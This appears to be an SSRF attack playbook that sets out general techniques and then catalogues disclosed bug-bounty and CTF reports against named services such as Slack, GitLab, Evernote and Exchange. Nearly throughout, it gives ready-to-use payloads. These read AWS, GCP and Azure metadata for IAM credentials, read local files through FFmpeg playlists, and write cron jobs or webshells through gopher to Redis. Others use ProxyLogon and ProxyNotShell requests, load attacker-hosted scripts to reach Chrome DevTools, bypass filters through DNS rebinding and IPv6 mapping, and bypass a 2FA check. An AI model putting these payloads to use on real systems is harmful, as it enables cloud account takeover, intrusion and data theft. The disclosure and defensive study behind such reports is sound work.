# Confirm the server (not your browser) connects, and note its egress IP
url=https://COLLAB/ # watch the callback + source IP/UA
# Internal reachability probes
url=http://127.0.0.1:80/ http://localhost/ http://[::1]/ http://169.254.169.254/
Find which kind of sink you have, then use the matching approach.
If the server runs in a cloud VM, the link-local metadata endpoint hands out IAM credentials to anything that can reach it. Read it first — it turns SSRF into cloud account access.
# AWS IMDSv1 — role name, then the temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
# GCP — the v1beta1 path needs NO Metadata-Flavor header; alt=json forces text
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
# Azure — requires a header
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Header: Metadata: true
"Import project", "restore backup", and seed features deserialize attributes that may include a hidden download field. Any model with an uploader that exposes remote_<field>_url will fetch server-side.
# In an importable JSON blob (e.g. a project export), smuggle a download field
"remote_attachment_url": "http://169.254.169.254/latest/meta-data/"
"remote_attachment_request_header": {"Metadata-Flavor": "Google"} # set required headers too
Chat unfurlers, issue-tracker previews, and oEmbed endpoints fetch a URL to build a card. Even "blind" ones leak og:title and timing — a ready-made internal enumeration oracle.
GET /_matrix/media/r0/preview_url/?url=http://INTERNAL_HOST:PORT/ HTTP/1.1
Host: TARGET
HTML→PDF, screenshot/thumbnail services, and headless browsers render attacker-influenced HTML server-side. Any resource-loading tag becomes an SSRF fetch — and if a reflected value (even an error string) lands in the rendered HTML, that is your injection point.
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
<img src="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token">
// Runs inside a server-side headless Chrome: navigation happens from the
// server's egress; the screenshot/PDF captures the JSON the browser displays.
location = "http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://COLLAB/header.m3u8|subfile,,start,1,end,10000,,:/etc/passwd
#EXT-X-ENDLIST
# header.m3u8 must end EXACTLY at the '?' byte (no trailing \r\n):
# #EXTM3U / #EXT-X-MEDIA-SEQUENCE:0 / #EXTINF:, / http://COLLAB?
SSRF is not only HTTP. gopher:// crafts raw TCP to Redis/SMTP; misconfigured TURN relays proxy raw TCP/UDP into RFC1918; SVG <image xlink:href> and XXE SYSTEM reach the same internal targets.
gopher://127.0.0.1:6379/_<url-encoded RESP> # Redis: write cron/webshell
gopher://127.0.0.1:25/_<url-encoded SMTP> # send internal mail
# TURN relay: set XOR-PEER-ADDRESS to a private IP to proxy TCP (0x000A) / UDP (0x0006)
Filters block obvious internal targets; you satisfy the check in a benign position, encode the IP, rebind DNS, or ride a redirect from an allowed host.
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 181 in this class.
Real-world example
HTML/iframe injection into server-side PDF export -> AWS credentials
◆ Critical
Specimen #2262382 · security · 25000 · 516 votes · resolved
Program securitySurface webChain HTML injection -> server-side PDF render SSRF -> AWS ITag cloud-awsTag file-upload
Root cause
An unsanitized value (element[:template]) was echoed into an error string that became HTML fed to a server-side HTML->PDF renderer; an injected <iframe> pointing at the metadata service was fetched by the renderer.
Method
- Find a report/analytics export that generates a PDF from HTML server-side
- Inject an <iframe> (or other resource-loading tag) whose src is the internal metadata URL into a field reflected into the rendered HTML (here via a 'Missing template for element: <injected>' error)
- Render/download the PDF and read the embedded metadata response (AWS IAM temp credentials)
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
<!-- injected into the 'template' element that the PDF renderer echoes into html_without_layout -->
Insight — HTML->PDF and other server-side document renderers are SSRF/local-file sinks. Any reflected value that lands in the rendered HTML (even an error message) becomes an injection point. Fix was to stop echoing element[:template] into the error string.
Real-world example
FFmpeg HLS playlist external reference -> arbitrary file read
◆ Critical
Specimen #487008 · flickr · awarded · 340 votes · resolved
Program flickrSurface webChain Malicious HLS upload -> FFmpeg external ref -> local f
Root cause
A video-upload pipeline processed user files with FFmpeg that allowed HLS (.m3u8) playlists to reference external/local files; the resulting preview leaks file contents (e.g. /etc/passwd) and can be pushed to SSRF.
Method
- Craft an HLS playlist that references file:///etc/passwd as a segment
- Upload it to the video/photo upload endpoint
- View the generated preview/camera roll - the file contents are embedded in the rendered video
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
concat:http://collab/header.ts|file:///etc/passwd
#EXT-X-ENDLIST
Insight — Media-conversion endpoints running FFmpeg are file-read/SSRF sinks: HLS/AVI GAB2 playlists reference external resources. Upload a crafted playlist disguised as video; escalate the local-file-read to SSRF against cloud metadata (Ermishkin 'Viral Video' technique).
Real-world example
Open TURN relay proxies arbitrary TCP/UDP to internal network
◆ Critical
Specimen #333419 · slack · 3500 · 322 votes · resolved
Program slackSurface networkChain open TURN relay -> internal TCP/UDP -> metadata + 10.0Tag cloud-aws
Root cause
Slack's TURN (WebRTC relay) servers allowed CONNECT/SEND to private IPs, letting an attacker relay arbitrary TCP connections and UDP packets into the internal network and metadata service.
Method
- Authenticate to the TURN server as a normal WebRTC client
- Send a TURN Connect request (method 0x000A) with XOR-PEER-ADDRESS set to a private IPv4 to proxy TCP
- Send a TURN Send indication (method 0x0006) with XOR-PEER-ADDRESS set to a private IP to proxy UDP
- Interact with internal services / 169.254.169.254 through the relay
# TURN Connect (RFC6062) to internal TCP:
method=0x000A XOR-PEER-ADDRESS=10.0.0.5:PORT
# TURN Send indication (RFC5766) for UDP:
method=0x0006 XOR-PEER-ADDRESS=169.254.169.254:PORT
Insight — SSRF is not only HTTP. Misconfigured TURN/relay/proxy servers give raw TCP+UDP into the internal network - stronger than HTTP SSRF. Always test TURN allocations against RFC1918 and metadata IPs by setting XOR-PEER-ADDRESS.
Real-world example
Full-read SSRF + LFI via base64-encoded path param with fragment trick
◆ Critical
Specimen #1189367 · evernote · awarded · 259 votes · resolved
Program evernoteSurface webChain base64 path SSRF -> file:// LFI + AWS metadata full readTag cloud-awsTag file-upload
Root cause
An endpoint (/ro/<base64>/<n>.js) base64-decoded a path and fetched its content, accepting full URLs and file:// URIs; the trailing .js requirement was neutralized with a # fragment.
Method
- Base64-encode a target URL/URI, ending the meaningful part with # so the required .js suffix is treated as a fragment
- Request https://www.evernote.com/ro/<base64>/-1430533899.js
- Read the reflected response: internal HTTP (metadata) or local files
# file:///etc/passwd#.js
https://www.evernote.com/ro/ZmlsZTovLy9ldGMvcGFzc3dkIy5qcw==/-1430533899.js
# http://169.254.169.254/#.js
https://www.evernote.com/ro/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8jLmpz/-1430533899.js
Insight — When a fetch param is base64/encoded, decode it and try file:// and internal IPs. Suffix/extension checks (must end in .js) are defeated by moving the required text after a # fragment so the URL parser ignores it.
Real-world example
Full-read SSRF via bundled Grafana avatar: URL-decode param smuggling + open-redirect chain
◆ Critical
Specimen #878779 · gitlab · awarded · 228 votes · resolved
Program gitlabSurface webChain avatar SSRF -> gravatar redirect -> wp.com open redireTag cloud-aws
Root cause
Grafana's /avatar/:hash proxied hash (URL-decoded) to secure.gravatar.com; decoding let an attacker smuggle a d= query param, and gravatar->i0.wp.com had an open redirect (i0.wp.com/{domain}/{path} with *.bp.blogspot.com special-casing) chainable to any host.
Method
- Double-URL-encode a d= param into the avatar hash so it is smuggled into the gravatar request
- Use gravatar d= to redirect to i0.wp.com
- Abuse i0.wp.com/{yourhost}/1.bp.blogspot.com/ open redirect (via your own redirector) to reach arbitrary internal hosts
- curl the avatar endpoint and read the internal response
curl "https://dev.gitlab.org/-/grafana/avatar/test%3fd%3dredirect.rhynorater.com%252f1.bp.blogspot.com%252fpoc.rhynorater.com%26cachebust"
# secure.gravatar.com/avatar/x?d=/HOST/1.bp.blogspot.com/ -> i0.wp.com/HOST/1.bp.blogspot.com/ -> https://HOST/
Insight — Bundled internal tooling (Grafana) reachable at /-/grafana/ inherits its SSRF bugs. URL-decoding of a path segment enables query-param smuggling; whitelisted image CDNs (gravatar/wp.com) often chain into open redirects that turn a fixed-destination fetch into full SSRF.
Real-world example
Unauthenticated SSRF via game-export players parameter (source-driven)
◆ Critical
Specimen #3165242 · lichess · none · 113 votes · resolved
Program lichessSurface apiChain unauth players-param SSRF -> cloud metadata / internal seTag cloud-aws
Root cause
The game export API read the players query parameter and passed it unvalidated to RealPlayerApi.apply -> ws.url(url).get(), fetching any URL with no auth.
Method
- Read source: get("players") -> config.playerFile -> realPlayerApi.apply -> ws.url(url).get()
- Request /game/export/<id>?players=<URL> (also /api/games/export/_ids and /api/games/user/<user>)
- Confirm server-side fetch via webhook.site / server logs; point at 169.254.169.254
GET /game/export/GAMEID?players=http://169.254.169.254/latest/meta-data/
Insight — Open-source targets: grep for HTTP-client sinks (ws.url, HttpClient, requests.get) fed by request params. A 'players'/'file'/'source' param reaching a fetch with no allowlist is unauth SSRF. Public endpoints make it worse (IP-restriction bypass).
Real-world example
SSRF/local-file read via LibreOffice Office-file thumbnail generation
◆ Critical
Specimen #671935 · slack · USD 4000 · 107 votes · resolved
Program slackSurface cloudChain malicious upload -> LibreOffice thumbnailer LFI/SSRF ->Tag cloud-awsTag file-upload
Root cause
Server-side file preview/thumbnailing pipes uploaded Office files through LibreOffice/unoconv, which processes embedded external/linked references; a crafted document forces local file access and outbound requests from the processing container, exposing its internal AWS credentials (CVE-2019-17400).
Method
- Identify an upload feature that server-side generates previews/thumbnails of documents
- Upload a crafted Office file whose contents reference local files / attacker URLs
- Have the rendered thumbnail/preview return leaked local file content or hit your collaborator, exfiltrating container cloud metadata/creds
# crafted ODT/DOCX abusing LibreOffice external references (CVE-2019-17400)
# goal: read local files / reach 169.254.169.254 from the render container
Insight — Server-side document/image conversion (LibreOffice, ImageMagick, ffmpeg, headless Chrome) is a rich SSRF/LFI surface. Anytime uploads get thumbnailed/previewed, test file formats that embed external references, then pivot to cloud metadata for container creds.
Real-world example
SSRF/IP-ban bypass via IPv4-mapped IPv6 addresses
◆ Critical
Specimen #1785260 · cloudflare · $7500 · 77 votes · resolved
Program cloudflareSurface webChain IPv4-mapped IPv6 -> passes IP ban check -> connect to
Root cause
The SSRF/IP allow-deny check evaluated IPv4 and IPv6 forms inconsistently (a Go library normalizes ::ffff:127.0.0.1 to the v4 loopback only later), so supplying an IPv4-mapped IPv6 address slipped past the banned-range check while still connecting to loopback/internal hosts.
Method
- Point the fetch target (proxied AAAA record) at an IPv4-mapped IPv6 address of an internal host
- The filter checks the literal v6 form and doesn't match its banned v4 ranges
- The connection still resolves to the mapped v4 loopback/internal IP -> reach internal services
# instead of 127.0.0.1 / 10.0.0.1 (blocked), use their IPv4-mapped IPv6 forms:
::ffff:127.0.0.1
::ffff:10.0.0.1
# also try: [::ffff:7f00:1], 0:0:0:0:0:ffff:127.0.0.1, and decimal/hex IP encodings
Insight — SSRF filters that blocklist IPv4 private ranges frequently miss the equivalent IPv4-mapped IPv6 (::ffff:a.b.c.d) and other encodings, because parsing/normalization happens after the check. Always retry blocked internal targets in v6-mapped, hex, decimal, and 0-prefixed forms.
Real-world example
Exchange autodiscover SSRF (ProxyNotShell CVE-2022-41040) n-day
◆ Critical
Specimen #1719719 · acronis · 1000 · 71 votes · resolved
Program acronisSurface webChain autodiscover.json SSRF (CVE-2022-41040)
Root cause
An externally exposed Microsoft Exchange server was vulnerable to CVE-2022-41040, an authenticated/path-confusion SSRF via the autodiscover.json endpoint (the ProxyNotShell SSRF half).
Method
- Identify an Exchange/OWA host (mail.<target>)
- Send the autodiscover.json path-confusion request and check the response reflects an outbound URL
- Confirm SSRF via the returned Protocol/Url JSON
curl -ksL -m5 "https://mail.TARGET.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json@outlook.com&Protocol=ActiveSync" | grep Protocol
# vuln -> {"Protocol":"ActiveSync","Url":"https://eas.outlook.com/Microsoft-Server-ActiveSync"}
Insight — Recon for known product SSRF n-days pays off: Exchange autodiscover.json (CVE-2022-41040/ProxyNotShell), Confluence, GitLab, etc. Fingerprint the product, then fire the public PoC one-liner. Reflected outbound URL in JSON confirms SSRF.
Real-world example
XSS in headless-Chrome bot -> Chrome remote-debug SSRF/port-scan
◆ Critical
Specimen #780036 · h1-ctf · none · 56 votes · resolved
Program h1-ctfSurface webChain email-padding account takeover -> stored XSS -> CSP by
Root cause
A support/review feature is rendered by a server-side headless Chrome bot; stored XSS (after CSP bypass) executes in that bot's context, and the bot's network position plus Chrome DevTools remote-debug enable SSRF, internal port scanning and local page/file reads.
Method
- Get JS to execute inside a server-side headless browser (stored XSS in a page the bot visits)
- Bypass CSP by abusing an allowlisted CDN path with path traversal
- From the bot, reach internal services / Chrome remote-debug to exfiltrate data
<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fATTACKER/repo/master/c.js"></script>
Insight — Any feature reviewed/rendered by a server-side headless browser is an SSRF surface: XSS there runs inside the perimeter; look for open Chrome debug ports and internal endpoints. A CSP allowlist on a CDN root is bypassable via path traversal.
Real-world example
Full-read SSRF via url param -> AWS IMDS credential theft
◆ Critical
Specimen #1624140 · deptofdefense · USD 1000 · 54 votes · resolved
Program deptofdefenseSurface apiChain SSRF -> IMDS -> AWS IAM temporary credentialsTag cloud-aws
Root cause
A download/proxy endpoint fetches an arbitrary user-supplied url and returns the body; pointing it at 169.254.169.254 returns EC2 IMDS data including IAM security-credentials.
Method
- Find a ?url=/download-url= style fetch-and-return endpoint
- Set url=http://169.254.169.254/latest/meta-data/
- Walk to /iam/security-credentials/<role> to read temporary AWS keys
https://TARGET/api/v1/download-url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
https://TARGET/api/v1/download-url?url=http://169.254.169.254/2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Insight — Any full-read url-fetch param on AWS should be tested against IMDSv1 (169.254.169.254); escalate to IAM creds then AWS API access. Also try the IMDSv2 token dance and the identity-credentials path.
Real-world example
JS injection into headless PDF renderer -> IMDS credential theft
◆ Critical
Specimen #1628209 · deptofdefense · USD 4000 · 45 votes · resolved
Program deptofdefenseSurface webChain stored HTML/JS injection -> headless renderer -> iframTag cloud-aws
Root cause
A PDF is generated server-side from HTML by a browser engine; an unsanitized field (globalInfo.name) breaks out of a <script> context so injected JS executes in the renderer, which then loads an <iframe> to 169.254.169.254 and embeds IMDS credentials into the resulting PDF.
Method
- Find a server-side HTML->PDF generation flow that reflects user input
- Inject </script><script>...</script> into a saved field via the save API
- Point injected JS/iframe at IMDS; read the credentials from the rendered PDF
</script><script>document.write('<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE" width=1000 height=1000></iframe>')</script>
Insight — Server-side HTML/PDF renderers execute injected JS inside the perimeter - treat HTML->PDF as an SSRF+XSS sink and aim injected content at IMDS/internal endpoints, reading results from the PDF.
Real-world example
Open URL-proxy endpoint -> AWS ECS IMDS IAM credential theft
◆ Critical
Specimen #978823 · lab45 · none · 30 votes · resolved
Program lab45Surface apiChain open proxy SSRF -> IMDS -> temporary IAM credentials -Tag cloud-aws
Root cause
A proxy-post endpoint takes a fully attacker-controlled url= parameter and returns the response body, letting an unauthenticated request reach the EC2/ECS metadata service and read IAM security credentials.
Method
- Find a *?url= proxy/preview endpoint that echoes the response
- Point url at http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> (ECS: ecsInstanceRole path)
- Read AccessKeyId/SecretAccessKey/Token from the reflected JSON
GET /community-app-assets/api/proxy-post?url=http%3A%2F%2F169.254.169.254%2F/latest/meta-data/iam/security-credentials/ecsInstanceRole HTTP/1.1
Host: cognitive.topcoder.com
Authorization: ApiKey <key>
Insight — Any endpoint whose name contains proxy/fetch/preview/image and takes a url= is a first-class IMDS target. IMDSv1 (no token) leaks live STS creds; always test the iam/security-credentials/ path and try the ECS task-role variant, not just EC2.
Real-world example
Atlassian Confluence/Jira SSRF (CVE-2017-9506) to internal network
◆ Critical
Specimen #330860 · deptofdefense · none · 29 votes · resolved
Program deptofdefenseSurface webChain SSRF -> internal service access / XSPA port scan across fTag cloud-aws
Root cause
The OAuth plugin shipped in outdated Atlassian products exposes an image-proxy endpoint that fetches an attacker-supplied URL, giving full SSRF into internal services and cloud metadata (CVE-2017-9506).
Method
- Identify an outdated Atlassian (Confluence/Jira) instance in scope
- Hit the vulnerable OAuth image-proxy endpoint with an internal/collaborator URL
- Use response timing/content to port-scan (XSPA) and reach internal hosts/services
GET /plugins/servlet/oauth/users-icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: TARGET
Insight — Atlassian, JIRA and similar enterprise apps ship URL-fetch/image-proxy endpoints that are classic SSRF sinks; version-fingerprint them and test the known OAuth/proxy path before anything custom.
Real-world example
SSRF to AWS metadata via image-fetch/proxy parameter
◆ Critical
Specimen #395521 · duckduckgo · none · 24 votes · resolved
Program duckduckgoSurface webChain SSRF -> AWS IMDSv1 metadata -> potential IAM credentiaTag cloud-aws
Root cause
An image-proxy endpoint fetches a user-supplied URL server-side without allowlisting, letting the attacker point it at the cloud metadata service.
Method
- Find an image/URL-preview/proxy param (here image_host)
- Set it to http://169.254.169.254/latest/meta-data/
- Read the reflected metadata (extend to iam/security-credentials for keys)
curl "https://proxy.duckduckgo.com/iur/?f=1&image_host=http://169.254.169.254/latest/meta-data/"
Insight — Any server-side URL-fetch param (image_host, url, avatar, webhook, preview) is a first-class SSRF sink. Always escalate a confirmed SSRF to 169.254.169.254/latest/meta-data/iam/security-credentials/ for IAM creds.
Real-world example
SSRF to AWS metadata via Atlassian OAuth IconUriServlet (CVE-2017-9506)
◆ Critical
Specimen #326040 · deptofdefense · none · 23 votes · resolved
Program deptofdefenseSurface webChain SSRF -> AWS IMDS metadata -> internal network access /Tag cloud-aws
Root cause
The Atlassian OAuth plugin IconUriServlet fetches an attacker-supplied consumerUri server-side with no allowlist, enabling SSRF including reads of the cloud metadata endpoint.
Method
- Locate the vulnerable servlet path on a Jira/Confluence host
- Supply an internal URL as consumerUri
- Read the reflected internal/metadata response
https://TARGET/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/hostname
https://TARGET/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/public-ipv4
Insight — Fingerprint Atlassian versions and probe /plugins/servlet/oauth/users/icon-uri?consumerUri= for classic SSRF; pivot to 169.254.169.254 IMDS, internal port scanning (XSPA via response timing), and internal service access.
Real-world example
Headless-Chrome remote-debugging SSRF via PDF converter -> DevTools tab dump
◆ Critical
Specimen #781295 · h1-ctf · none · 12 votes · resolved
Program h1-ctfSurface webChain QR-recovery ATO -> CSP-bypass stored XSS -> IDOR name Tag account-takeover
Root cause
A PDF converter renders attacker HTML in headless Chrome with the remote-debugging port open; XSS in the rendered doc fetches the DevTools JSON endpoint, enumerating and reading other open tabs.
Method
- Get stored XSS/HTML into the PDF-converter input (via IDOR-controlled name field)
- Bypass CSP by loading JS from an allowed CDN with path backtracking (raw.githack)
- From the XSS, fetch http://localhost:9222/json to list tabs, then read their content
<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/typed.js/..%252f..%252f..%252f..%252f..%252fATTACKER/repo/master/final.js"></script>
// final.js then hits the Chrome DevTools endpoint:
fetch('http://localhost:9222/json').then(...) // enumerate & read other tabs
Insight — If a service converts HTML->PDF/PNG with headless Chrome, probe for an exposed --remote-debugging-port (9222); XSS in the rendered page can drive the DevTools protocol to steal other users' rendered documents. CSP whitelisting a CDN that serves arbitrary repo files (raw.githack/jsdelivr) is bypassable with path traversal.
Real-world example
Path traversal into whitelisted /redirect?url= endpoint -> SSRF
◆ Critical
Specimen #893305 · h1-ctf · none · 11 votes · resolved
Program h1-ctfSurface apiChain 2FA bypass -> traversal-to-/redirect SSRF -> internal
Root cause
A server-side API builds an outbound URL from a user-controlled path segment (account_id) without normalization; path traversal (../../redirect?url=) escapes to an internal /redirect endpoint whose open-redirect then drives SSRF to internal services.
Method
- Control a value (account_id in the session cookie) used to build an internal API path
- Traverse to the redirect endpoint: ../../redirect?url=https://internal
- Server follows the redirect and returns the internal page; CSS/url fetch fields yield further SSRF
{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"..."}
# server builds: https://api.host/api/accounts/../../redirect?url=https://software... -> SSRF
Insight — When a backend concatenates user input into an outbound URL path, path traversal can pivot to sibling endpoints (open-redirect, proxy) and chain into SSRF; also treat CSS/font/image url() inputs as SSRF sinks.
Real-world example
Stored XSS -> SSRF via headless Chrome remote-debug port (9222/json)
◆ Critical
Specimen #781281 · h1-ctf · none · 10 votes · resolved
Program h1-ctfSurface webChain ATO -> stored XSS on support portal -> SSRF (headless Tag account-takeover
Root cause
An admin/support page rendered by a headless Chrome instance executes attacker-stored HTML; injecting an iframe to the local Chrome DevTools debugging endpoint (127.0.0.1:9222/json) turns the XSS into SSRF against internal resources.
Method
- Get stored HTML/script into a page an internal headless-Chrome agent renders
- Detect headless Chrome from the User-Agent
- Inject <iframe src='http://localhost:9222/json'> to read the DevTools targets/exposed local endpoints
name=<iframe src='http://localhost:9222/json' width=900 height=900></iframe>
Insight — When server-side rendering uses headless Chrome/Puppeteer, port 9222 (remote debugging) is a high-value SSRF target reachable from injected client HTML -- /json lists targets and can expose internal pages. Whenever a bot/agent UA is headless Chrome, probe localhost:9222. (CTF-sourced but a real, widely-applicable primitive.)
Real-world example
ProxyLogon Exchange pre-auth SSRF (CVE-2021-26855)
◆ Critical
Specimen #1119224 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface webChain CVE-2021-26855 SSRF -> ProxyLogon chain -> webshell/RCTag cloud-azure
Root cause
Microsoft Exchange OWA/ECP mis-handles the X-BEResource / X-AnonResource-Backend cookies, letting an unauthenticated attacker make the front end proxy arbitrary requests to internal backends (and beyond).
Method
- Send an unauthenticated GET to a static OWA resource (/owa/auth/x.js)
- Set X-AnonResource=true and X-AnonResource-Backend / X-BEResource cookies to the internal target
- Server proxies the request to that backend and returns the response
curl -i -s -k -X GET \
-b 'X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3' \
'https://TARGET/owa/auth/x.js'
Insight — Fingerprint Exchange OWA/ECP and test the X-BEResource cookie pre-auth. This SSRF is the entry point of the ProxyLogon chain (CVE-2021-26855 -> -26857/-26858/-27065) that reaches RCE. Version-fingerprint the Exchange build to gauge exploitability.
Real-world example
Open redirect + path traversal in signed ID -> SSRF to IP-restricted host
◆ Critical
Specimen #895780 · h1-ctf · none · 7 votes · resolved
Program h1-ctfSurface webChain Cookie path traversal -> in-app open redirect -> serveTag cloud-aws
Root cause
A server-side API builds an outbound URL from an account_id embedded in a cookie; path traversal in that id reaches the API's own /redirect open-redirect endpoint, and the redirect is followed server-side to a domain that only trusts the API server's IP.
Method
- Notice the API constructs requests like /api/accounts/{account_id}/statements from a base64 cookie
- Put path traversal in account_id to escape to /redirect?url=
- Point url= at the IP-restricted internal host; append &disregard= to swallow the app's fixed '/statements...' suffix
- Use the same trick with FUZZ to directory-brute the internal host and fetch files
cookie = base64({"account_id":"../../redirect?url=https://software.internal/&disregard=","hash":"..."})
# effective: /api/accounts/../../redirect?url=https://software.internal/&disregard=/statements?month=01&year=2020
Insight — Chain an open redirect into an SSRF: if a server follows redirects while building a request from user data, traversal to an in-app /redirect?url= lets you reach hosts allowlisted only by the server's IP. Use a trailing '&disregard='/'#' to neutralize appended path/query the app tacks on. (CTF-sourced but a clean, transferable chain.)
Real-world example
CTF chain: exposed .git logger → self-signed 2FA bypass → SSRF via path-traversal in signed cookie + open redirect
◆ Critical
Specimen #894623 · h1-ctf · none · 6 votes · resolved
Program h1-ctfSurface webChain info-disclosure (.git/log) -> credential recovery -> 2Tag account-takeover
Root cause
Multiple independent flaws chained: a /cgit/config exposed a public GitHub repo revealing a request logger that wrote base64 creds to a fetchable log; 2FA validated a client-supplied challenge hash against a client-supplied answer; and a base64 'signed' session cookie's account_id was concatenated into an internal API URL, so path-traversal + an app open-redirect turned it into a full SSRF.
Method
- Content-discovery finds /cgit and /.git; /cgit/config leaks a public GitHub repo (request-logger) whose logger.php base64-encodes request params into a fetchable bp_web_trace.log
- Decode the log to recover username/password and a challenge_answer sample
- Bypass 2FA by sending your own md5 challenge + its plaintext answer in the same request (server trusts the client-supplied pair): challenge=md5('1'), challenge_answer=1
- Decode the token cookie {"account_id":"...","hash":"..."}; the account_id is reflected into an internal URL https://api../api/accounts/<account_id>/statements
- Set account_id to a path-traversal that pivots through the app's own open redirect to reach an internal-only host, turning the server-side fetch into SSRF
# 2FA bypass (client supplies both challenge hash and its answer):
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
username=brian.oliver&password=V7h0inzX&challenge=c4ca4238a0b923820dcc509a6f75849b&challenge_answer=1
# SSRF via path-traversal in the base64 token cookie's account_id, chained through the app's open redirect:
# plaintext cookie:
{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/uploads/&","hash":"de235bffd23df6995ad4e0930baac1a2"}
# -> server builds: https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://<internal-host>/uploads/&/statements
Insight — When a server reflects a user-controlled identifier into a server-side URL, try path-traversal in that identifier to escape the intended path, and chain a same-site open redirect to reach internal hosts (SSRF). Also: any 2FA/challenge where the client sends BOTH the challenge and its answer is trivially bypassable — supply your own hash/answer pair.
Real-world example
DotNetNuke (DNN) ImageHandler SSRF via url param (CVE-2017-0929)
◆ Critical
Specimen #482634 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
DNN 8.0.0-9.1.1 exposes DnmImageHandler.ashx which, in mode=file, fetches any attacker-supplied url server-side with no host allow-listing, turning the origin into an SSRF proxy. The response is constrained to image file extensions.
Method
- Fingerprint the target as DotNetNuke (DNN) 8.0.0-9.1.1 and confirm /DnnImageHandler.ashx is reachable
- Request the handler with mode=file and a url pointing at an attacker-controlled/collaborator host to confirm the outbound fetch (SSRF)
- Swap the url for internal hostnames/IPs plus a known image path (e.g. a default logo) to map and probe internal-only sites; a 200 with the image confirms the internal host is online and reachable
https://TARGET/DnnImageHandler.ashx?mode=file&url=http://COLLAB/x.jpg
https://TARGET/DnnImageHandler.ashx?mode=file&url=http://INTERNAL-HOST/data/uploads/images/DC3_seal.png
Insight — When a target runs a known CMS/framework, look up its version-specific SSRF CVEs before manual hunting. Any image/URL-preview/proxy handler that takes a url= parameter is a prime SSRF sink; test it with a collaborator first, then pivot to internal image paths to prove internal reachability even when output is limited to image extensions.
Real-world example
Authenticated SSRF via nested SQLi-forged image fetch, plus DNS-rebinding localhost bypass
◆ Critical
Specimen #1068433 · h1-ctf · none · 3 votes · resolved
Program h1-ctfSurface webChain SQL injection (album hash) -> nested UNION poisons downst
Root cause
A server-side image-fetch endpoint signs each image path with an HMAC/auth hash and refuses arbitrary paths, but the image list is populated by a SQL query. A nested UNION injection in the album query poisons the follow-up photo query so the server itself signs an attacker-chosen path (../api/...), producing an authenticated blind SSRF into an internal, IP-restricted API. Separately, a DDoS launcher validates the target host then re-resolves it, so DNS rebinding defeats the localhost/allow-list check.
Method
- Find a signed indirection: server fetches image = base64({image, auth}); direct/forged requests fail with 'invalid authentication hash', so the server must sign paths itself from a DB-driven list
- Confirm the album lookup is SQLi (sqlmap/UNION) and leak the live query via information_schema.processlist to learn the base query and the chained photo query
- Nest a second UNION inside the first so the follow-up photo query returns a photo path you control: set that path to ..\/api\/<endpoint> to escape the uploads dir
- Read the server-rendered <img src=...picture?data=...> value: the server has now signed your ../api path, giving an authenticated request into the internal-only API
- Blind-exfiltrate: fuzz internal endpoints/params, use true/false response differences (e.g. 204 vs error) to extract username/password char by char
- For the host-allow-list/localhost DDoS protection: submit a DNS-rebinding hostname (rbndr.us) so validation resolves to an allowed IP but the later attack resolves to 127.0.0.1
# Nested UNION so the downstream photo query returns an attacker path -> authenticated SSRF:
album?hash=fakehash' UNION SELECT "1337' UNION SELECT 0, 0, '..\/api\/user?username=g%'-- ", 'my_hash', 'my_album_name'--
# Leak the executing query to discover the chained query:
album?hash=fakehash' UNION SELECT 1,1,info FROM information_schema.processlist--
# DNS rebinding target to bypass localhost check (rbndr.us: 7f000001=127.0.0.1, c0a80001=192.168.0.1):
{"target":"7f000001.c0a80001.rbndr.us","hash":"..."}
Insight — Signed/HMAC-protected SSRF sinks are still exploitable if any server-controlled data feeding the sink is injectable: use SQLi (or other injection) to make the server sign the malicious value for you, converting a locked-down fetcher into an authenticated SSRF. When a target validates a host then re-resolves it before use (TOCTOU on DNS), rbndr.us-style DNS rebinding flips an allow-listed IP to 127.0.0.1/internal to defeat SSRF host filters. Use path traversal (../api/) inside the fetched value to reach sibling internal endpoints, and true/false response oracles to blind-exfiltrate.
Real-world example
Grinch CTF chain: DNS-rebinding SSRF bypass, second-order SQLi, filter/overflow tricks
◆ Critical
Specimen #1066504 · h1-ctf · none · 3 votes · resolved
Program h1-ctfSurface webChain recon -> IDOR/SQLi creds -> filter bypass LFI -> in
Root cause
A multi-stage CTF exercising many transferable primitives, most notably an SSRF host-allowlist bypass via DNS rebinding (a domain that resolves to a public IP at validation time and 127.0.0.1 at fetch time), a second-order boolean SQLi (input stored then reflected in a later count query), and server-side filter bypasses.
Method
- SSRF: sign the request with the known salt, then use a DNS-rebinding host so the filter check sees a public IP but the fetch hits localhost.
- Second-order SQLi: submit a payload as 'name', then the /score endpoint counts users with that name -> boolean oracle; automate with sqlmap --second-req.
